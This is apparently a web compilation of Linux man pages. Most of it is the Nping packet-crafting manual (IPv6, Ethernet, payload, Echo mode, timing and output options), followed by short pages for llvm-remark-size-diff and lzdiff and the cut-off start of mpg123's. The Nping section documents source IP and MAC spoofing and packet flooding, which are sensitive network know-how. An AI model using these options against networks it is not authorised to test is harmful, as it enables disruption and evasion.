While IPv6 hasnt exactly taken the world by storm, it gets significant use in some (usually Asian) countries and most modern operating systems support it. To use Nping with IPv6, both the source and target of your packets must be configured for IPv6. If your ISP (like most of them) does not allocate IPv6 addresses to you, free tunnel brokers are widely available and work fine with Nping. You can use the free IPv6 tunnel broker service at http://www.tunnelbroker.net.

Please note that IPv6 support is still highly experimental and many modes and options may not work with it.

-S addr, –source-ip addr (Source IP Address)

Sets the source IP address. This option lets you specify a custom IP address to be used as source IP address in sent packets. This allows spoofing the sender of the packets. addr can be an IPv6 address or a hostname.

–dest-ip addr (Destination IP Address)

Adds a target to Npings target list. This option is provided for consistency but its use is deprecated in favor of plain target specifications. See the section called “TARGET SPECIFICATION”.

–flow label (Flow Label)

Sets the IPv6 Flow Label. The Flow Label field is 20 bits long and is intended to provide certain quality-of-service properties for real-time datagram delivery. However, it has not been widely adopted, and not all routers or endpoints support it. Check RFC 2460 for more information. label must be an integer in the range [0–1048575].

–traffic-class class (Traffic Class)

Sets the IPv6 Traffic Class. This field is similar to the TOS field in IPv4, and is intended to provide the Differentiated Services method, enabling scalable service discrimination in the Internet without the need for per-flow state and signaling at every hop. Check RFC 2474 for more information. class must be an integer in the range [0–255].

–hop-limit hops (Hop Limit)

Sets the IPv6 Hop Limit field in sent packets to the given value. The Hop Limit field specifies how long the datagram is allowed to exist on the network. It represents the number of hops a packet can traverse before being dropped. As with the TTL in IPv4, IPv6 Hop Limit tries to avoid a situation in which undeliverable datagrams keep being forwarded from one router to another endlessly. hops must be a number in the range [0–255].

ETHERNET OPTIONS

In most cases Nping sends packets at the raw IP level. This means that Nping creates its own IP packets and transmits them through a raw socket. However, in some cases it may be necessary to send packets at the raw Ethernet level. This happens, for example, when Nping is run under Windows (as Microsoft has disabled raw socket support since Windows XP SP2), or when Nping is asked to send ARP packets. Since in some cases it is necessary to construct ethernet frames, Nping offers some options to manipulate the different fields.

–dest-mac mac (Ethernet Destination MAC Address)

This option sets the destination MAC address that should be set in outgoing Ethernet frames. This is useful in case Nping cant determine the next hops MAC address or when you want to route probes through a router other than the configured default gateway. The MAC address should have the usual format of six colon-separated bytes, e.g. 00:50:56:d4:01:98. Alternatively, hyphens may be used instead of colons. Use the word random or rand to generate a random address, and broadcast or bcast to use ff:ff:ff:ff:ff:ff. If you set up a bogus destination MAC address your probes may not reach the intended targets.

–source-mac mac (Ethernet Source MAC Address)

This option sets the source MAC address that should be set in outgoing Ethernet frames. This is useful in case Nping cant determine your network interface MAC address or when you want to inject traffic into the network while hiding your network cards real address. The syntax is the same as for –dest-mac. If you set up a bogus source MAC address you may not receive probe replies.

–ether-type type (Ethertype)

This option sets the Ethertype field of the ethernet frame. The Ethertype is used to indicate which protocol is encapsulated in the payload. type can be supplied in two different ways. You can use the official numbers listed by the IEEE[3] (e.g. –ether-type 0x0800 for IP version 4), or one of the mnemonics from the section called “Ethernet Types”.

Ethernet Types

These identifiers may be used as mnemonics for the Ethertype numbers given to the –arp-type option.

ipv4, ip, 4

Internet Protocol version 4 (type 0x0800).

ipv6, 6

Internet Protocol version 6 (type 0x86DD).

arp

Address Resolution Protocol (type 0x0806).

rarp

Reverse Address Resolution Protocol (type 0x8035).

frame-relay, frelay, fr

Frame Relay (type 0x0808).

ppp

Point-to-Point Protocol (type 0x880B).

gsmp

General Switch Management Protocol (type 0x880C).

mpls

Multiprotocol Label Switching (type 0x8847).

mps-ual, mps

Multiprotocol Label Switching with Upstream-assigned Label (type 0x8848).

mcap

Multicast Channel Allocation Protocol (type 0x8861).

pppoe-discovery, pppoe-d

PPP over Ethernet Discovery Stage (type 0x8863).

pppoe-session, pppoe-s

PPP over Ethernet Session Stage (type 0x8864).

ctag

Customer VLAN Tag Type (type 0x8100).

epon

Ethernet Passive Optical Network (type 0x8808).

pbnac

Port-based network access control (type 0x888E).

stag

Service VLAN tag identifier (type 0x88A8).

ethexp1

Local Experimental Ethertype 1 (type 0x88B5).

ethexp2

Local Experimental Ethertype 2 (type 0x88B6).

ethoui

OUI Extended Ethertype (type 0x88B7).

preauth

Pre-Authentication (type 0x88C7).

lldp

Link Layer Discovery Protocol (type 0x88CC).

mac-security, mac-sec, macsec

Media Access Control Security (type 0x88E5).

mvrp

Multiple VLAN Registration Protocol (type 0x88F5).

mmrp

Multiple Multicast Registration Protocol (type 0x88F6).

frrr

Fast Roaming Remote Request (type 0x890D).

PAYLOAD OPTIONS

–data hex string (Append custom binary data to sent packets)

This option lets you include binary data as payload in sent packets. hex string may be specified in any of the following formats: 0xAABBCCDDEEFF*…, AABBCCDDEEFF…* or ������. Examples of use are –data 0xdeadbeef and **–data �� **. Note that if you specify a number like 0x00ff no byte-order conversion is performed. Make sure you specify the information in the byte order expected by the receiver.

–data-string string (Append custom string to sent packets)

This option lets you include a regular string as payload in sent packets. string can contain any string. However, note that some characters may depend on your systems locale and the receiver may not see the same information. Also, make sure you enclose the string in double quotes and escape any special characters from the shell. Example: –data-string “Jimmy Jazz…”.

–data-length len (Append random data to sent packets)

This option lets you include len random bytes of data as payload in sent packets. len must be an integer in the range [0–65400]. However, values higher than 1400 are not recommended because it may not be possible to transmit packets due to network MTU limitations.

ECHO MODE

The “Echo Mode” is a novel technique implemented by Nping which lets users see how network packets change in transit, from the host where they originated to the target machine. Basically, the Echo mode turns Nping into two different pieces: the Echo server and the Echo client. The Echo server is a network service that has the ability to capture packets from the network and send a copy (“echo them”) to the originating client through a side TCP channel. The Echo client is the part that generates such network packets, transmits them to the server, and receives their echoed version through a side TCP channel that it has previously established with the Echo server.

This scheme lets the client see the differences between the packets that it sends and what is actually received by the server. By having the server send back copies of the received packets through the side channel, things like NAT devices become immediately apparent to the client because it notices the changes in the source IP address (and maybe even source port). Other devices like those that perform traffic shaping, changing TCP window sizes or adding TCP options transparently between hosts, turn up too.

The Echo mode is also useful for troubleshooting routing and firewall issues. Among other things, it can be used to determine if the traffic generated by the Nping client is being dropped in transit and never gets to its destination or if the responses are the ones that dont get back to it.

Internally, client and server communicate over an encrypted and authenticated channel, using the Nping Echo Protocol (NEP), whose technical specification can be found in https://nmap.org/svn/nping/docs/EchoProtoRFC.txt

The following paragraphs describe the different options available in Npings Echo mode.

–ec passphrase, –echo-client passphrase (Run Echo client)

This option tells Nping to run as an Echo client. passphrase is a sequence of ASCII characters that is used used to generate the cryptographic keys needed for encryption and authentication in a given session. The passphrase should be a secret that is also known by the server, and it may contain any number of printable ASCII characters. Passphrases that contain whitespace or special characters must be enclosed in double quotes.

When running Nping as an Echo client, most options from the regular raw probe modes apply. The client may be configured to send specific probes using flags like –tcp, –icmp or –udp. Protocol header fields may be manipulated normally using the appropriate options (e.g. –ttl, –seq, –icmp-type, etc.). The only exceptions are ARP-related flags, which are not supported in Echo mode, as protocols like ARP are closely related to the data link layer and its probes cant pass through different network segments.

–es passphrase, –echo-server passphrase (Run Echo server)

This option tells Nping to run as an Echo server. passphrase is a sequence of ASCII characters that is used used to generate the cryptographic keys needed for encryption and authentication in a given session. The passphrase should be a secret that is also known by the clients, and it may contain any number of printable ASCII characters. Passphrases that contain whitespace or special characters must be enclosed in double quotes. Note that although it is not recommended, it is possible to use empty passphrases, supplying –echo-server “”. However, if what you want is to set up an open Echo server, it is better to use option –no-crypto. See below for details.

–ep port, –echo-port port (Set Echo TCP port number)

This option asks Nping to use the specified TCP port number for the Echo side channel connection. If this option is used with –echo-server, it specifies the port on which the server listens for connections. If it is used with –echo-client, it specifies the port to connect to on the remote host. By default, port number 9929 is used.

–nc, –no-crypto (Disable encryption and authentication)

This option asks Nping not to use any cryptographic operations during an Echo session. In practical terms, this means that the Echo side channel session data will be transmitted in the clear, and no authentication will be performed by the server or client during the session establishment phase. When –no-crypto is used, the passphrase supplied with –echo-server or –echo-client is ignored.

This option must be specified if Nping was compiled without openSSL support. Note that, for technical reasons, a passphrase still needs to be supplied after the –echo-client or –echo-server flags, even though it will be ignored.

The –no-crypto flag might be useful when setting up a public Echo server, because it allows users to connect to the Echo server without the need for any passphrase or shared secret. However, it is strongly recommended to not use –no-crypto unless absolutely necessary. Public Echo servers should be configured to use the passphrase “public” or the empty passphrase (–echo-server “”) as the use of cryptography does not only provide confidentiality and authentication but also message integrity.

–once (Serve one client and quit)

This option asks the Echo server to quit after serving one client. This is useful when only a single Echo session wants to be established as it eliminates the need to access the remote host to shutdown the server.

–safe-payloads (Zero application data before echoing a packet)

This option asks the Echo server to erase any application layer data found in client packets before echoing them. When the option is enabled, the Echo server parses the packets received from Echo clients and tries to determine if they contain data beyond the transport layer. If such data is found, it is overwritten with zeroes before transmitting the packets to the appropriate Echo client.

Echo servers can handle multiple simultaneous clients running multiple echo sessions in parallel. In order to determine which packet needs to be echoed to which client and through which session, the Echo server uses an heuristic algorithm. Although we have taken every security measure that we could think of to prevent that a client receives an echoed packet that it did not generate, there is always a risk that our algorithm makes a mistake and delivers a packet to the wrong client. The –safe-payloads option is useful for public echo servers or critical deployments where that kind of mistake cannot be afforded.

The following examples illustrate how Npings Echo mode can be used to discover intermediate devices.

Example 2. Discovering NAT devices

# nping --echo-client "public" echo.nmap.org --udp 

    Starting Nping ( https://nmap.org/nping )
    SENT (1.0970s) UDP 10.1.20.128:53 > 178.79.165.17:40125 ttl=64 id=32523 iplen=28 
    CAPT (1.1270s) UDP 80.38.10.21:45657 > 178.79.165.17:40125 ttl=54 id=32523 iplen=28 
    RCVD (1.1570s) ICMP 178.79.165.17 > 10.1.20.128 Port unreachable (type=3/code=3) ttl=49 id=16619 iplen=56 
    [...]
    SENT (5.1020s) UDP 10.1.20.128:53 > 178.79.165.17:40125 ttl=64 id=32523 iplen=28 
    CAPT (5.1335s) UDP 80.38.10.21:45657 > 178.79.165.17:40125 ttl=54 id=32523 iplen=28 
    RCVD (5.1600s) ICMP 178.79.165.17 > 10.1.20.128 Port unreachable (type=3/code=3) ttl=49 id=16623 iplen=56 
     
    Max rtt: 60.628ms | Min rtt: 58.378ms | Avg rtt: 59.389ms
    Raw packets sent: 5 (140B) | Rcvd: 5 (280B) | Lost: 0 (0.00%)| Echoed: 5 (140B) 
    Tx time: 4.00459s | Tx bytes/s: 34.96 | Tx pkts/s: 1.25
    Rx time: 5.00629s | Rx bytes/s: 55.93 | Rx pkts/s: 1.00
    Nping done: 1 IP address pinged in 6.18 seconds

The output clearly shows the presence of a NAT device in the clients local network. Note how the captured packet (CAPT) differs from the SENT packet: the source address for the original packets is in the reserved 10.0.0.0/8 range, while the address seen by the server is 80.38.10.21, the Internet side address of the NAT device. The source port was also modified by the device. The line starting with RCVD corresponds to the responses generated by the TCP/IP stack of the machine where the Echo server is run.

Example 3. Discovering a transparent proxy

# nping --echo-client "public" echo.nmap.org --tcp -p80

    Starting Nping ( https://nmap.org/nping )
    SENT (1.2160s) TCP 10.0.1.77:41659 > 178.79.165.17:80 S ttl=64 id=3317 iplen=40  seq=567704200 win=1480 
    RCVD (1.2180s) TCP 178.79.165.17:80 > 10.0.1.77:41659 SA ttl=128 id=13177 iplen=44  seq=3647106954 win=16384 <mss 1460>
    SENT (2.2150s) TCP 10.0.1.77:41659 > 178.79.165.17:80 S ttl=64 id=3317 iplen=40  seq=567704200 win=1480 
    SENT (3.2180s) TCP 10.0.1.77:41659 > 178.79.165.17:80 S ttl=64 id=3317 iplen=40  seq=567704200 win=1480 
    SENT (4.2190s) TCP 10.0.1.77:41659 > 178.79.165.17:80 S ttl=64 id=3317 iplen=40  seq=567704200 win=1480 
    SENT (5.2200s) TCP 10.0.1.77:41659 > 178.79.165.17:80 S ttl=64 id=3317 iplen=40  seq=567704200 win=1480 
     
    Max rtt: 2.062ms | Min rtt: 2.062ms | Avg rtt: 2.062ms
    Raw packets sent: 5 (200B) | Rcvd: 1 (46B) | Lost: 4 (80.00%)| Echoed: 0 (0B) 
    Tx time: 4.00504s | Tx bytes/s: 49.94 | Tx pkts/s: 1.25
    Rx time: 5.00618s | Rx bytes/s: 9.19 | Rx pkts/s: 0.20
    Nping done: 1 IP address pinged in 6.39 seconds

In this example, the output is a bit more tricky. The absence of error messages shows that the Echo client has successfully established an Echo session with the server. However, no CAPT packets can be seen in the output. This means that none of the transmitted packets reached the server. Interestingly, a TCP SYN-ACK packet was received in response to the first TCP-SYN packet (and also, it is known that the target host does not have port 80 open). This behavior reveals the presence of a transparent web proxy cache server (which in this case is an old MS ISA server).

TIMING AND PERFORMANCE OPTIONS

–delay time (Delay between probes)

This option lets you control for how long will Nping wait before sending the next probe. Like in many other ping tools, the default delay is one second. time must be a positive integer or floating point number. By default it is specified in seconds, however you can give an explicit unit by appending ms for milliseconds, s for seconds, m for minutes, or h for hours (e.g. 2.5s, 45m, 2h).

–rate rate (Send probes at a given rate)

This option specifies the number of probes that Nping should send per second. This option and –delay are inverses; –rate 20 is the same as –delay 0.05. If both options are used, only the last one in the parameter list counts.

MISCELLANEOUS OPTIONS

-h, –help (Display help)

Displays help information and exits.

-V, –version (Display version)

Displays the programs version number and quits.

-c rounds, –count rounds (Stop after a given number of rounds)

This option lets you specify the number of times that Nping should loop over target hosts (and in some cases target ports). Nping calls these “rounds”. In a basic execution with only one target (and only one target port in TCP/UDP modes), the number of rounds matches the number of probes sent to the target host. However, in more complex executions where Nping is run against multiple targets and multiple ports, the number of rounds is the number of times that Nping sends a complete set of probes that covers all target IPs and all target ports. For example, if Nping is asked to send TCP SYN packets to hosts 192.168.1.0-255 and ports 80 and 433, then 256 × 2 = 512 packets are sent in one round. So if you specify -c 100, Nping will loop over the different target hosts and ports 100 times, sending a total of 256 × 2 × 100 = 51200 packets. By default Nping runs for 5 rounds. If a value of 0 is specified, Nping will run continuously.

-e name, –interface name (Set the network interface to be used)

This option tells Nping what interface should be used to send and receive packets. Nping should be able to detect this automatically, but it will tell you if it cannot. name must be the name of an existing network interface with an assigned IP address.

–privileged (Assume that the user is fully privileged)

Tells Nping to simply assume that it is privileged enough to perform raw socket sends, packet sniffing, and similar operations that usually require special privileges. By default Nping quits if such operations are requested by a user that has no root or administrator privileges. This option may be useful on Linux, BSD or similar systems that can be configured to allow unprivileged users to perform raw-packet transmissions. The NPING_PRIVILEGED environment variable may be set as an alternative to using –privileged.

–unprivileged (Assume that the user lacks raw socket privileges)

This option is the opposite of –privileged. It tells Nping to treat the user as lacking network raw socket and sniffing privileges. This is useful for testing, debugging, or when the raw network functionality of your operating system is somehow broken. The NPING_UNPRIVILEGED environment variable may be set as an alternative to using –unprivileged.

–send-eth (Use raw ethernet sending)

Asks Nping to send packets at the raw ethernet (data link) layer rather than the higher IP (network) layer. By default, Nping chooses the one which is generally best for the platform it is running on. Raw sockets (IP layer) are generally most efficient for Unix machines, while ethernet frames are required for Windows operation since Microsoft disabled raw socket support. Nping still uses raw IP packets despite this option when there is no other choice (such as non-ethernet connections).

–send-ip (Send at raw IP level)

Asks Nping to send packets via raw IP sockets rather than sending lower level ethernet frames. It is the complement to the –send-eth option.

–bpf-filter filter spec –filter filter spec (Set custom BPF filter)

This option lets you use a custom BPF filter. By default Nping chooses a filter that is intended to capture most common responses to the particular probes that are sent. For example, when sending TCP packets, the filter is set to capture packets whose destination port matches the probes source port or ICMP error messages that may be generated by the target or any intermediate device as a result of the probe. If for some reason you expect strange packets in response to sent probes or you just want to sniff a particular kind of traffic, you can specify a custom filter using the BPF syntax used by tools like tcpdump. See the documentation at http://www.tcpdump.org/ for more information.

-H, –hide-sent (Do not display sent packets)

This option tells Nping not to print information about sent packets. This can be useful when using very short inter-probe delays (i.e., when flooding), because printing information to the standard output has a computational cost and disabling it can probably speed things up a bit. Also, it may be useful when using Nping to detect active hosts or open ports (e.g. sending probes to all TCP ports in a /24 subnet). In that case, users may not want to see thousands of sent probes but just the replies generated by active hosts.

-N, –no-capture (Do not attempt to capture replies)

This option tells Nping to skip packet capture. This means that packets in response to sent probes will not be processed or displayed. This can be useful when doing flooding and network stack stress tests. Note that when this option is specified, most of the statistics shown at the end of the execution will be useless. This option does not work with TCP Connect mode.

OUTPUT OPTIONS

**-v[**level], –verbose **[**level] (Increase or set verbosity level)

Increases the verbosity level, causing Nping to print more information during its execution. There are 9 levels of verbosity (-4 to 4). Every instance of -v increments the verbosity level by one (from its default value, level 0). Every instance of option -q decrements the verbosity level by one. Alternatively you can specify the level directly, as in -v3 or -v-1. These are the available levels:

Level -4

No output at all. In some circumstances you may not want Nping to produce any output (like when one of your work mates is watching over your shoulder). In that case level -4 can be useful because although you wont see any response packets, probes will still be sent.

Level -3

Like level -4 but displays fatal error messages so you can actually see if Nping is running or it failed due to some error.

Level -2

Like level -3 but also displays warnings and recoverable errors.

Level -1

Displays traditional run-time information (version, start time, statistics, etc.) but does not display sent or received packets.

Level 0

This is the default verbosity level. It behaves like level -1 but also displays sent and received packets and some other important information.

Level 1

Like level 0 but it displays detailed information about timing, flags, protocol details, etc.

Level 2

Like level 1 but displays very detailed information about sent and received packets and other interesting information.

Level 3

Like level 2 but also displays the raw hexadecimal dump of sent and received packets.

Level 4 and higher

Same as level 3.

**-q[**level], –reduce-verbosity **[**level] (Decrease verbosity level)

Decreases the verbosity level, causing Nping to print less information during its execution.

**-d[**level] (Increase or set debugging level)

When even verbose mode doesnt provide sufficient data for you, debugging is available to flood you with much more! As with the -v, debugging is enabled with a command-line flag -d and the debug level can be increased by specifying it multiple times. There are 7 debugging levels (0 to 6). Every instance of -d increments debugging level by one. Provide an argument to -d to set the level directly; for example -d4.

Debugging output is useful when you suspect a bug in Nping, or if you are simply confused as to what Nping is doing and why. As this feature is mostly intended for developers, debug lines arent always self-explanatory. You may get something like

NSOCK (1.0000s) Callback: TIMER SUCCESS for EID 12; tcpconnect_event_handler(): Received callback of type TIMER with status SUCCESS

If you dont understand a line, your only recourses are to ignore it, look it up in the source code, or request help from the development list (nmap-dev). Some lines are self-explanatory, but the messages become more obscure as the debug level is increased. These are the available levels:

Level 0

Level 0. No debug information at all. This is the default level.

Level 1

In this level, only very important or high-level debug information will be printed.

Level 2

Like level 1 but also displays important or medium-level debug information

Level 3

Like level 2 but also displays regular and low-level debug information.

Level 4

Like level 3 but also displays messages only a real Nping freak would want to see.

Level 5

Like level 4 but it enables basic debug information related to external libraries like Nsock.

Level 6

Like level 5 but it enables full, very detailed, debug information related to external libraries like Nsock.

BUGS

Like its authors, Nping isnt perfect. But you can help make it better by sending bug reports or even writing patches. If Nping doesnt behave the way you expect, first upgrade to the latest version available from https://nmap.org. If the problem persists, do some research to determine whether it has already been discovered and addressed. Try searching for the problem or error message on Google since that aggregates so many forums. If nothing comes of this, create an Issue on our tracker (http://issues.nmap.org) and/or mail a bug report to <[email protected]>. If you subscribe to the nmap-dev list before posting, your message will bypass moderation and get through more quickly. Subscribe at https://nmap.org/mailman/listinfo/dev. Please include everything you have learned about the problem, as well as what version of Nping you are using and what operating system version it is running on. Other suggestions for improving Nping may be sent to the Nmap dev mailing list as well.

If you are able to write a patch improving Nping or fixing a bug, that is even better! Instructions for submitting patches or git pull requests are available from https://github.com/nmap/nmap/blob/master/CONTRIBUTING.md

Particularly sensitive issues such as a security reports may be sent directly to Fyodor directly at <[email protected]>. All other reports and comments should use the dev list or issue tracker instead because more people read, follow, and respond to those.

AUTHORS

Luis MartinGarcia <[email protected]> (http://www.luismg.com)

Fyodor <[email protected]> (https://insecure.org)

NOTES

official type numbers assigned by IANA

http://www.iana.org/assignments/icmp-parameters

official numbers assigned by IANA

http://www.iana.org/assignments/arp-parameters/

official numbers listed by the IEEE

http://standards.ieee.org/regauth/ethertype/eth.txt

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2087 - Linux cli command llvm-remark-size-diff-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-remark-size-diff-17 and provides detailed information about the command llvm-remark-size-diff-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-remark-size-diff-17.

NAME 🖥️ llvm-remark-size-diff-17 🖥️

remark-size-diff - diff size remarks

SYNOPSIS

llvm-remark-size-diff [options] file_a file_b –parser parser

DESCRIPTION

llvm-remark-size-diff diffs size remarks in two remark files: file_a and file_b.

llvm-remark-size-diff can be used to gain insight into which functions were impacted the most by code generation changes.

In most common use-cases file_a and file_b will be remarks output by compiling a fixed source with differing compilers or differing optimization settings.

llvm-remark-size-diff handles both YAML and bitstream remarks.

OPTIONS

–parser=<yaml|bitstream>
Select the type of input remark parser. Required. * yaml: The tool will parse YAML remarks. * bitstream: The tool will parse bitstream remarks.

–report-style=<human|json>
Output style. * human: Human-readable textual report. Default option. * json: JSON report.

–pretty
Pretty-print JSON output. Optional.

If output is not set to JSON, this does nothing.

-o=<file>
Output file for the report. Outputs to stdout by default.

HUMAN-READABLE OUTPUT

The human-readable format for llvm-remark-size-diff is composed of two sections:

  • Per-function changes.

  • A high-level summary of all changes.

Changed Function Section

Suppose you are comparing two remark files OLD and NEW.

For each function with a changed instruction count in OLD and NEW, llvm-remark-size-diff will emit a line like below:

(++|–|==) (>|<) function_name, N instrs, M stack B

A breakdown of the format is below:

(++|–|==)
Which of OLD and NEW the function_name is present in.

  • ++: Only in NEW. (“Added”)

  • : Only in OLD. (“Removed”)

  • ==: In both.

(>|<)
Denotes if function_name has more instructions or fewer instructions in the second file.

  • >: More instructions in second file than first file.

  • <: Fewer instructions in second file than in first file.

function_name
The name of the changed function.

N instrs
Second file instruction count - first file instruction count.

M stack B
Second file stack byte count - first file stack byte count.

Summary Section

llvm-remark-size-diff will output a high-level summary after printing all changed functions.

instruction count: N (inst_pct_change%) stack byte usage: M (sb_pct_change%)

N
Sum of all instruction count changes between the second and first file.

inst_pct_change%
Percent increase or decrease in instruction count between the second and first file.

M
Sum of all stack byte count changes between the second and first file.

sb_pct_change%
Percent increase or decrease in stack byte usage between the second and first file.

JSON OUTPUT

High-Level view

Suppose we are comparing two files, OLD and NEW.

llvm-remark-size-diff will output JSON as follows.

“Files”: [ “A”: “path/to/OLD”, “B”: “path/to/NEW” ]

"InBoth": [
  ...
],

"OnlyInA": [
  ...
],

"OnlyInB": [
  ...
]

Files
Original paths to remark files.

  • A: Path to the first file.

  • B: Path to the second file.

InBoth
Functions present in both files.

OnlyInA
Functions only present in the first file.

OnlyInB
Functions only present in the second file.

Function JSON

The InBoth, OnlyInA, and OnlyInB sections contain size information for each function in the input remark files.

{ “FunctionName” : “function_name” “InstCount”: [ INST_COUNT_A, INST_COUNT_B ], “StackSize”: [ STACK_BYTES_A, STACK_BYTES_B ], }

FunctionName
Name of the function.

InstCount
Instruction counts for the function.

  • INST_COUNT_A: Instruction count in OLD.

  • INST_COUNT_B: Instruction count in NEW.

StackSize
Stack byte counts for the function.

  • STACK_BYTES_A: Stack bytes in OLD.

  • STACK_BYTES_B: Stack bytes in NEW.

Computing Diffs From Function JSON

Function JSON does not contain the diffs. Tools consuming JSON output from llvm-remark-size-diff are responsible for computing the diffs separately.

To compute the diffs:

  • Instruction count diff: INST_COUNT_B - INST_COUNT_A

  • Stack byte count diff: STACK_BYTES_B - STACK_BYTES_A

EXIT STATUS

llvm-remark-size-diff returns 0 on success, and a non-zero value otherwise.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2088 - Linux cli command lzdiff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lzdiff and provides detailed information about the command lzdiff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lzdiff.

NAME 🖥️ lzdiff 🖥️

compare compressed files

SYNOPSIS

xzcmp [option…] file1 [file2]
xzdiff
lzcmp
lzdiff

DESCRIPTION

xzcmp and xzdiff compare uncompressed contents of two files. Uncompressed data and options are passed to cmp(1) or diff(1) unless –help or –version is specified.

If both file1 and file2 are specified, they can be uncompressed files or files in formats that xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) can decompress. The required decompression commands are determined from the filename suffixes of file1 and file2. A file with an unknown suffix is assumed to be either uncompressed or in a format that xz(1) can decompress.

If only one filename is provided, file1 must have a suffix of a supported compression format and the name for file2 is assumed to be file1 with the compression format suffix removed.

The commands lzcmp and lzdiff are provided for backward compatibility with LZMA Utils.

EXIT STATUS

If a decompression error occurs, the exit status is 2. Otherwise the exit status of cmp(1) or diff(1) is used.

SEE ALSO

cmp(1), diff(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2089 - Linux cli command mpg123.bin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123.bin and provides detailed information about the command mpg123.bin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123.bin.

NAME 🖥️ mpg123.bin 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
